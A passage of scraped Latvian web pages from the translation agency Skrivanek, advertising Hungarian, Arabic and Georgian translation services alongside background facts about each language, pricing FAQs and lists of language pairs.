jāsadala vārda daļās vai zilbēs. Uzsvars parasti tiek likts uz pirmo zilbi, bet īpaši garos vārdos ir arī sekundārais uzsvars uz katras nepāra zilbes (pirmā, trešā, piektā, septītā). Fonētikā visgrūtāk ir atšķirt garos un īsos patskaņus: “ö” un “ő”, “ü” un “ű” ir dažādas skaņas, un kļūda to lietošanā noved pie patskaņu nozīmes izmaiņām. Toties ungāru valodā ir tikai divi laiki, pagātne un tagadne. Nākotnes laiks tiek veidots ar saliktās tagadnes formas palīdzību. KUR UN CIK DAUDZ RUNĀ UNGĀRU VALODĀ? Kopējais ungāru valodas pratēju skaits tiek lēsts ap 13,6 miljoniem cilvēku, no kuriem 10,3 miljoni dzīvo Ungārijā. Visvairāk ungāru valodā runājošie ārpus Ungārijas dzīvo Rumānijā (1,45 miljoni), Slovākijā (600 tūkstoši), Serbijā (450 tūkstoši) un Ukrainā (180 tūkstoši), galvenokārt Aizkarpatijā. Ungāru valoda ir lielākā no visām urālu valodām. CIK SAREŽĢĪTA IR UNGĀRU VALODA? Ungāru valodu sauc par “ārkārtēji grūtu”, jo tai nav analoģijas ne ar angļu, ne vācu valodu. Ungāru valoda ir īsta mīkla (nav nejaušība, ka Rubika kubs tika izgudrots Ungārijā). Tā ir pārsteiguma valoda, mīklu valoda, rēbusu valoda un nelīdzinās nevienai no tai radniecīgām valodām. Ungāru valoda kopā ar ķīniešu, arābu un japāņu valodu ir viena no grūtākajām valodām pasaulē. Bet, neskatoties uz to, tās popularitāte strauji aug. Pirmkārt, tā ir reta valoda, kuras zināšanas var būt priekšrocība darbā (kuru darba devēju jūs šodien pārsteigtu ar perfektu angļu valodas prasmi? ). Otrkārt, tā ir interesanta, neparasta valoda, un valodas speciālistam ungāru valodas apguve ir izaicinājums. UNGĀRU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek strādā gan ar mutisko tulkojumu pieprasījumiem, gan arī ar tipveida dokumentu rakstiskajiem tulkojumiem, atrodot visefektīvāko risinājumu katram klientam. Veicam tehniski sarežģītus un arī zvērinātus tulkojumus. Nodrošinām arī tekstu ungāru valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Mēs parūpēsimies arī par teksta efektivitāti, atbilstošu stilu un pielāgošanos kultūras kontekstam gan pašas valodas, gan valsts ziņā. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz ungāru valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga tulkojumus, produktu etiķešu tulkojumus atbilstoši Eiropas Savienības standartiem. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. Tulkojumus ir iespējams apstiprināt notariāli. UNGĀRU VALODA BIZNESĀ Ungāru valoda ir biznesa valoda, kurā runā praktiski tikai Ungārijā, citās valstīs ─ tikai reģionāli. Tāpēc ungāru valodas zināšanas noderēs tikai tiem uzņēmumiem, biznesa partneriem, kuriem ir komerciālas attiecības ar šo valsti. LATVIJAS UN UNGĀRIJAS SADARBĪBA Latvijā jau kopš 20. gadsimta sākuma dzīvo vairāki simti ungāru. Latvijai ar Ungāriju ir cieša sadarbība daudzās jomās, tai skaitā arī izglītības jomā, tādēļ studiju laikā Latvijā dzīvo ungāru studenti. Tāpat Latvijai un Ungārijai ir stabila sadarbība lauksaimniecības un tautsaimniecības jomā. 2019. gadā Latvija uz Ungāriju eksportēja preces 65 milj. eiro apmērā, bet Ungārija uz Latviju – 160 milj. apmērā. Latvija uz Ungāriju eksportē galvenokārt zivju un nedaudz piena produktu. Latvijas šprotes Ungārijā esot lielā cieņā. Vairākiem lieliem Latvijas uzņēmumiem – Latvijas Finieris, Balticovo, Grindeks – ir sena uzņēmējdarbības prakse ar Ungāriju. 2019. gada 2. augustā Latvijas un Ungārijas Kultūras ministrijas parakstīja Sadarbības kultūrā programmu. Arī latviešu rakstnieku darbi ir tulkoti un tiek pārdoti Ungārijā, piemēram, Noras Ikstenas romāns “Mātes piens”. Tradicionāli ik gadu rudenī Ungārijas vēstniecība Latvijā organizē “Ungārijas dienas”. Rīgā, kā arī citās Latvijas pilsētās notiek dažādi kultūras pasākumi: izstādes, koncerti, Višegradas valstu filmu dienas. Kopš 1991. gada Etveša Loranda universitātē (Eötvös Loránd Univerziteta) Budapeštā tiek mācīta latviešu valoda. No Latvijas mācību nodrošināšanai tiek sūtīti metodiskie materiāli un grāmatas. Latvijas Universitātes Humanitāro zinātņu fakultātes Somugru studiju bakalaura studiju programmas ietvaros ir iespējams izvēlēties ungāru valodas kursu. Ungāru intereses Latvijā pārstāv, kā arī par abu valstu sadarbību dažādās jomās rūpējas Ungārijas vēstniecība Latvijā. UNGĀRU VALODAS DIENA 2011. gadā Ungārijas parlaments 13. novembri oficiāli pasludināja par ungāru valodas dienu, tādējādi mudinot sabiedrību šajā datumā publiski godāt savu valodu un to aizsargāt. Šis datums tika izvēlēts apzināti par godu 1844. gada 13. novembrī pieņemtajam likumam, kas ungāru valodu noteica par vienīgo valsts darba valodu un valodu, kurā tiek īstenota izglītības iegūšana. Šī diena visai ungāru tautai kalpo kā atgādinājums par atbildību pret savu valodu, tautu, vēsturiskā un kultūras mantojuma saglabāšanu. 2008. gadā Ungārijā tika atvērts vienīgais dzimtās valodas muzejs valstī. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ/NO UNGĀRU VALODAS: dokumentu tulkojumi ungāru valodā; specializēti tulkojumi; steidzami tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ungāru valodā; individuālie ungāru valodas kursi; UNGĀRU VALODAS KOMBINĀCIJAS: ungāru–latviešu; latviešu–ungāru; ungāru–lietuviešu; lietuviešu–ungāru; igauņu–ungāru; ungāru–igauņu; angļu–ungāru; ungāru–angļu; krievu–ungāru; ungāru–krievu; poļu–ungāru; ungāru–poļu; ukraiņu–ungāru; ungāru–ukraiņu; čehu–ungāru; ungāru–čehu; vācu–ungāru; ungāru–vācu; spāņu–ungāru; ungāru–spāņu; franču–ungāru; ungāru–franču; itāļu–ungāru; ungāru–itāļu; dāņu–ungāru; ungāru–dāņu; zviedru–ungāru; ungāru–zviedru; norvēģu–ungāru; ungāru–norvēģu; somu–ungāru; ungāru–somu, ungāru–arābu; arābu–ungāru; ungāru–armēņu, armēņu–ungāru; ungāru–baltkrievu, baltkrievu–ungāru; bulgāru–ungāru, ungāru–bulgāru; ungāru–ebreju, ebreju–ungāru, ungāru–grieķu, grieķu–ungāru; ungāru–gruzīnu; gruzīnu–ungāru; ungāru–hindi; hindi–ungāru; ungāru–holandiešu; holandiešu–ungāru; ungāru–korejiešu; korejiešu–ungāru; ungāru–kurdu; kurdu–ungāru; ungāru–ķīniešu; ķīniešu–ungāru; ungāru–portugāļu; portugāļu–ungāru; ungāru–rumāņu; rumāņu–ungāru; ungāru–slovāku; slovāku–ungāru; ungāru–slovēņu; slovēņu–ungāru; ungāru–turku; turku–ungāru; ungāru–ukraiņu; ukraiņu–ungāru u. c. --- > Profesionāli tulkojumi un valodu kursi arābu valodā. Valodu uzņēmums ar vairāk nekā 25 gadu pieredzi. Saņem cenas piedāvājumu 15 minūtēs! - Published: 2021-11-23 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/ - Translation Priorities: Optional TULKOJUMI ARĀBU VALODĀ / TULKOT ARĀBU VALODĀ CIK MAKSĀ TULKOŠANA ARĀBU VALODĀ? Pasūtījumam cena tiek noteikta individuāli, jo cenu veido vairākas būtiskas komponentes – izpildes termiņš, nozares specifika, terminoloģijas pieejamība, rasējumu, attēlu, grafiku apstrāde, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apstiprinājums u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz arābu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO ARĀBU VALODAS: dokumentu tulkojumi arābu valodā; steidzami tulkojumi; mutiskie tulkojumi arābu valodā; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; individuālie arābu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus arābu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ARĀBU VALODĀ / TULKOT ARĀBU VALODĀ CIK MAKSĀ TULKOŠANA ARĀBU VALODĀ? Pasūtījumam cena tiek noteikta individuāli, jo cenu veido vairākas būtiskas komponentes – izpildes termiņš, nozares specifika, terminoloģijas pieejamība, rasējumu, attēlu, grafiku apstrāde, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apstiprinājums u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz arābu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO ARĀBU VALODAS: dokumentu tulkojumi arābu valodā; steidzami tulkojumi; mutiskie tulkojumi arābu valodā; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; individuālie arābu valodas kursi. Meklējiet valodu risinājumus arābu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt ARĀBU VALODA FAKTOS Arābu valoda ir islāma sakrālā valoda. Tajā ir ne tikai sacerēts Korāns, bet to joprojām izmanto vairumā musulmaņu reliģisko rituālu. Jau vairāk nekā tūkstoš trīssimt gadu tā bija arī musulmaņu intelektuālās elites lingua franca. Arābu valoda tās runātāju skaita ziņā ir lielākā semītu saimes valoda. Mūsdienās arābu valodai ir ļoti daudz dialektu un apakšdialektu. Tradicionāli arābu valodas dialektus iedala austrumu dialektu grupā un rietumu dialektu grupā. Tā, piemēram, daži no izplatītākajiem austrumu grupas dialektiem ir ─ ēģiptiešu dialekts, sīriešu dialekts, irākiešu dialekts u. c. , bet rietumu dialektu grupā ─ Ziemeļāfrikas jeb Magribas dialekts, hasanītu dialekts. Mūsdienu literārā arābu valoda ir nemainīga kopš 7. gadsimta. Tajā lasa, raksta un mācās skolā, taču tajā nerunā. Literāro valodu mūsdienās lieto arī kā mediju valodu. Ikdienā arābu valstu iedzīvotāji sarunājoties izmanto dialektus. Tie ir tik atšķirīgi savā izrunā, ka nereti, lai saprastos savā starpā dažādu valstu iedzīvotāji, tiek izmantota skolā apgūtā literārā arābu valoda. Un svarīgi, ka arābu valodas dialektiem nav rakstu valodas. Viduslaikos arābu valoda bija galvenā kultūras valoda, it īpaši tādās nozarēs kā matemātika, astronomija un filozofija. Līdz ar to arī Eiropas valodās ir daudz aizguvumu no arābu valodas. Islāma pasaulē kaligrāfija joprojām ir lielā godā. Tā tiek uzskatīta par galveno mākslas formu. Islāma reliģijas pamati aizliedz attēlot dzīvas būtnes, līdz ar to kaligrammas kļūst par vienu no iespējamajām mākslas izpausmes formām. Daudzi ķīniešu un citu tautu atklājumi Eiropā kļuva pazīstami tikai viduslaikos, galvenokārt ar arābu tirgotāju starpniecību. Kompasu uz Eiropu no Ķīnas atveda arābu tirgotāji. Ir zināms, ka 12. gadsimtā kompasu izmantoja, kuģojot pa Vidusjūru. Ar papīra izgatavošanu 12. gs. vidū Spāniju iepazīstināja no Ķīnas atbraukušie arābu un ebreju tirgotāji. Arābu valoda ir viena no sešām ANO oficiālajām valodām. ARĀBU ALFABĒTS Arābu valoda ir viena no sarežģītākajām valodām pasaulē. Tās pierakstīšanai tiek izmantots arābu alfabēts, kas cēlies no aramiešu raksta. Arābu alfabētā, tāpat kā citos semītiskajos alfabētos, rakstība ir no labās uz kreiso pusi. Pastāv arī vairāki rakstīšanas stili, populārākos izmanto izdevniecībā un rokrakstos. Arābu alfabētā ir 28 burti, ar kuriem apzīmē līdzskaņus un garos patskaņus. Atkarībā no tā, vai burts atrodas vārda sākumā, vidū vai beigās vai stāv savrup, to var rakstīt četros dažādos veidos. Visi šie burti tiek rakstīti kursīvā, gan rokrakstos, gan drukājot. Tādā veidā katrs burts saplūst ar nākamo, veidojot vārdus. Netiek izšķirti lielie un mazie burti. Pēc arābu rakstības nostabilizēšanas 8. gadsimtā, izveidojās vairāki rakstīšanas stili. Tika izstrādāti rakstu stili grāmatām, citiem rakstu darbiem, kā arī dekoratīvie un monumentālajai mākslai. KUR UN CIK DAUDZ RUNĀ ARĀBU VALODĀ? Arābu valoda tās runātāju skaita ziņā ir otrā biežāk runātā valoda pasaulē. Tā ir dzimtā valoda apmēram trīssimt miljoniem pasaules iedzīvotāju, kuri apdzīvo teritorijas no Priekšāzijas līdz Ziemeļāfrikai un no Persijas līča līdz Atlantijas okeānam. Arābu valodā var sazināties gandrīz visā Ziemeļāfrikas teritorijā un Saūda Arābijā. Tajā runā absolūtais iedzīvotāju vairākums Apvienotajos Arābu Emirātos, Kuveitā, Katarā, Bahreinā, Omānā, Jemenā, Jordānijā, Sīrijā, Irākā, Libānā, Ēģiptē, Lībijā, Alžīrijā, Tunisijā, Marokā, Mauritānijā un Palestīnas teritorijās, lielākā daļa Sudānas iedzīvotāju; ievērojamas arābu minoritātes dzīvo Izraēlā, Irānā (Hūzistānā), Tanzānijā (Zanzibārā), Turcijā (Mārdīnā), Džibuti; no Eiropas valstīm – Francijā, Spānijā, Lielbritānijā. Arābu valoda ir noteikta par otro valsts valodu Čadā, Džibuti, Somālijā un Komoru salās. ARĀBU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek valodu pakalpojumu tirgū Latvijā un Baltijā darbojas jau vairāk nekā 18 gadu. Mūsu profesionālo tulku, tulkotāju un lingvistu komanda vienmēr palīdzēs gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem, gan arī tiesas sēdes gaitas vai svarīgu darījuma sarunu gaitas mutiskajiem (secīgajiem) tulkojumiem. Skrivanek nodrošina arī tekstu arābu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Mūsu arābu valodas speciālisti ar prieku konsultēs par kultūras atšķirībām, lietišķo etiķeti, izvēlētā reģiona vai valsts vēsturi un kultūras specifiku. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz arābu valodu – tehniskās dokumentācijas, tiesu nolēmumu, e-komercijas satura un mājaslapu tulkojumus, adaptāciju un lokalizāciju. Fiziskām personām nodrošinām tiesu nolēmumus, personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases u. c. tulkojumus. ARĀBU VALODA BIZNESĀ Arābi jau izsenis pasaulē ir pazīstami kā veiksmīgi un aizrautīgi tirgotāji. Jau 8. gadsimtā arābu tirgoņi veicināja starptautiskās tirdzniecības attīstību, apmaiņu ar dabas veltēm un kultūras vērtībām starp Ķīnu, Indiju un Eiropu. Mūsdienās biznesa pasaulē šīs iemaņas nav zudušas, arābu biznesa pasaule ir interesanta visiem uzņēmējiem. Tās ir milzīgas biznesa iespējas un resursi. Aizvien vairāk uzņēmumos darbinieks ar arābu valodas zināšanām tiek augstu novērtēts, jo tas būtiski atvieglo sadarbību ar potenciālajiem biznesa partneriem. Ikvienam arābam vērtē būs cittautietis, kas pratīs vismaz arābu valodas pamatus. ARĀBU VALODA LATVIJĀ Latvijā pēdējos gados ir vērojama aizvien lielāka interese par arābu valodas un kultūras studijām. To veicina gan politiski ekonomiskie procesi Latvijā un pasaulē, gan arī plašās ceļošanas iespējas. Latvijā joprojām bieži trūkst profesionālu arābu valodas pratēju un tulku, tulkotāju darbam gan ar patvēruma meklētājiem, gan nelaimē nokļuvušiem citu valstu pilsoņiem, kuri runā tikai arābu valodā, tulkošanai tiesās, gan arī biznesa vajadzībām, jo aizvien vairāk Latvijas uzņēmēju sāk interesēties par biznesa iespējām Austrumu valstīs, piedāvājot augstas kvalitātes tehnoloģiju risinājumus un inovatīvus pakalpojumus šajā reģionā. Studēt arābu valodu un kultūru piedāvā Latvijas Universitāte ─ par studiju programmu lasiet šeit. Tāpat Latvijā aktīvi darbojas Arābu kultūras centrs un aizvien vairāk valodu skolu piedāvā apgūt arābu valodu kursos gan iesācējiem, gan studentiem ar priekšzināšanām. Mācoties arābu valodu, studenti iegūst arī zināšanas par arābu kultūru, vēsturi un citu saistošu informāciju par arābu pasauli. ARĀBU VALODAS DIENA Arābu valoda ir viena no visplašāk runātajām valodām pasaulē, ko ikdienā lieto vairāk nekā 400 miljoni cilvēku. Pasaules arābu valodas diena kopš 2012. gada tiek atzīmēta katru gadu 18. decembrī. Datums sakrīt ar dienu 1973. gadā, kad Apvienoto Nāciju Organizācijas Ģenerālā asambleja pieņēma arābu valodu kā sesto organizācijas oficiālo valodu. Arābu valodas klasisko vai dialektālo formu daudzveidībā, sākot no mutvārdu izteiksmes līdz poētiskai kaligrāfijai, arābu valoda ir radījusi aizraujošu estētiku tādās jomās kā arhitektūra, dzeja, filozofija un dziesmas. Tā sniedz piekļuvi neticami daudzveidīgām identitātēm un uzskatiem, un tās vēsture atklāj tās saiknes ar citu valodu bagātību. Arābu valodai ir bijusi paātrinātāja loma zināšanās, veicinot grieķu un romiešu zinātņu un filozofijas izplatīšanu renesanses laika Eiropā. Tā ir veicinājusi kultūru dialogu pa Zīda ceļiem no Indijas krasta līdz Āfrikai. Gadsimtu gaitā arābu valoda ir bijusi kontinentu un kultūru savstarpējās apmaiņas centrā. Šajā Pasaules arābu valodas dienā UNESCO aicina ikvienu raudzīties uz civilizāciju kopīgajām saknēm un tiekties pēc vienotākas pasaules. Arābu valoda ir viena no vienīgajām mūsdienu valodām, kas rakstāma un lasāma no labās uz kreiso pusi, tā ir aizraujoša valoda ar senu vēsturi. Visu šo iemeslu un daudzu citu iemeslu dēļ arābu valoda ir vairāk nekā pelnījusi savu dienu. Lai gan arābu valoda ir islāma valoda, tā ir vairāk nekā simts gadu senāka nekā reliģija. Agrākie arābu uzraksti tika izveidoti mūsu ēras 6. gadsimta sākumā. Arābu valoda sākotnēji balstījās galvenokārt uz aramiešu alfabētu, kas pēc tam tika pārveidots un pielāgots daudzu gadu garumā, lai beidzot kļūtu par savu, atšķirīgo valodas alfabētu. 632. gadā, kad, pēc musulmaņu domām, Korāns tika atklāts pravietim Muhamedam, Muhameda valoda kļuva par viņa jaunās reliģijas valodu. Islāma svētā grāmata Korāns tika uzrakstīta klasiskajā arābu valodā un joprojām tiek izmantota reliģiskās ceremonijās un sprediķos līdz mūsdienām. Līdz 8. gadsimtam daudzi dzejoļi un citi darbi bija rakstīti arābu valodā. Arābu valodai ir bijusi milzīga ietekme uz cilvēkiem visā pasaulē, jo lielākā daļa pasaules valstu šodien oficiāli izmanto arābu ciparu sistēmu. Turklāt, jo īpaši viduslaikos notikušo neskaitāmo karu dēļ arābu valoda ir nozīmīgs vārdu krājuma avots daudzām Eiropas valodām, piemēram, portugāļu, spāņu, angļu, franču un sicīliešu, kā arī valodām ārpus Eiropas, piemēram, svahili un uzbeku. Daudzi vārdi, ko regulāri lieto angliski runājošie, nāk no arābu valodas, tostarp kokvilna, kafija un ģitāra. Pasaules arābu valodas dienu iedibināja UNESCO, lai veicinātu kultūras izpratni un izceltu arābu valodu kā vienu no svarīgākajām valodām pasaulē. Mūsdienās ir trīs dažādi arābu valodas veidi: klasiskā, mūsdienu un standarta arābu valoda, no kurām pēdējā tiek izmantota izdevniecībā, izglītībā un plašsaziņas līdzekļos visā arābu pasaulē. Sarunvalodas arābu valoda tiek izmantota dažādos reģionos, un tai ir daudz variāciju. Pateicoties tās elegantajām, plūstošajām līnijām, tūkstošiem cilvēku visā pasaulē ir izvēlējušies arī tetovējumus arābu valodā, dziedātāja Kristīna Peri un aktieri Kolins Farels un Zoja Saldana. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO ARĀBU VALODAS: dokumentu tulkojumi arābu valodā; steidzami tulkojumi; mutiskie tulkojumi arābu valodā; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; individuālie arābu valodas kursi. ARĀBU VALODAS KOMBINĀCIJAS: arābu–latviešu; latviešu–arābu; arābu–lietuviešu; lietuviešu–arābu; igauņu–arābu; arābu–igauņu; angļu–arābu; arābu–angļu; krievu–arābu; arābu–krievu; poļu–arābu; arābu–poļu; ukraiņu–arābu; arābu–ukraiņu; čehu–arābu; arābu–čehu; vācu–arābu; arābu–vācu; spāņu–arābu; arābu–spāņu; franču–arābu; arābu–franču; itāļu–arābu; arābu–itāļu; dāņu–arābu; arābu–dāņu; zviedru–arābu; arābu–zviedru; norvēģu–arābu; arābu–norvēģu; somu–arābu; arābu–somu, arābu–ukraiņu; ukraiņu–arābu; arābu–armēņu, armēņu–arābu; arābu–baltkrievu, baltkrievu–arābu; bulgāru–arābu, arābu–bulgāru; arābu–ebreju, ebreju–arābu, arābu–grieķu, grieķu–arābu; arābu–gruzīnu; gruzīnu–arābu; arābu–hindi; hindi–arābu; arābu–holandiešu; holandiešu–arābu; arābu–korejiešu; korejiešu–arābu; arābu–kurdu; kurdu–arābu; arābu–ķīniešu; ķīniešu–arābu; arābu–portugāļu; portugāļu–arābu; arābu–rumāņu; rumāņu–arābu; arābu–slovāku; slovāku–arābu; arābu–slovēņu; slovēņu–arābu; arābu–turku; turku–arābu; arābu–ungāru; ungāru–arābu u. c. --- > Rakstiskie un mutiskie tulkojumi gruzīnu valodā. Saņemiet bezmaksas cenas aprēķinu 15 minūtēs! ISO sertificēts tulkošanas birojs. - Published: 2021-11-20 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-gruzinu-valoda/ - Translation Priorities: Optional TULKOJUMI GRUZĪNU VALODĀ / TULKOT GRUZĪNU VALODĀ CIK MAKSĀ TULKOŠANA GRUZĪNU VALODĀ? Tulkojumu cena no/uz gruzīnu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairākas komponentes, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildu izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz gruzīnu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ/NO GRUZĪNU VALODAS: dokumentu tulkojumi gruzīnu valodā; steidzami rakstiski tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana gruzīnu valodā; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi gruzīnu valodā; individuālie gruzīnu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus gruzīnu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI GRUZĪNU VALODĀ / TULKOT GRUZĪNU VALODĀ CIK MAKSĀ TULKOŠANA GRUZĪNU VALODĀ? Tulkojumu cena no/uz gruzīnu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairākas komponentes, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildu izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz gruzīnu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ/NO GRUZĪNU VALODAS: dokumentu 